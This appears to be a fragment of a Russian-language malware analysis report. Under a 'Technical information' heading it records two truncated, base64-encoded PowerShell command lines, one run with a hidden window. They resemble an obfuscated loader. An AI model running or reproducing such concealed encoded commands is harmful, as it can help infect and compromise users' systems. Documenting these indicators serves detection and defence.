Техническая информация
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABZAG4AbABnADkAMAByAD0AKAAoACcARQAnACsAJwAyADgAcwBoACcAKwAnAG4AJwApACsAJwBiACcAKQA7ACYAKAAnAG4AZQAnACsAJwB3AC0AaQB0ACcAKwAnAGUAbQAnACkAIAAkAEUATgB2ADoAdQBTAEUAcgBQAFIAbw...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABZAG4AbABnADkAMAByAD0AKAAoACcARQAnACsAJwAyADgAcwBoACcAKwAnAG4AJwApACsAJwBiACcAKQA7ACYAKAAnAG4AZQAnACsAJwB3AC0AaQB0ACcAKwAnAGUAbQAnACkAIAAkAEUATgB2ADoAdQBTAEUAcgBQAFIAbw...' (со скрытым окном)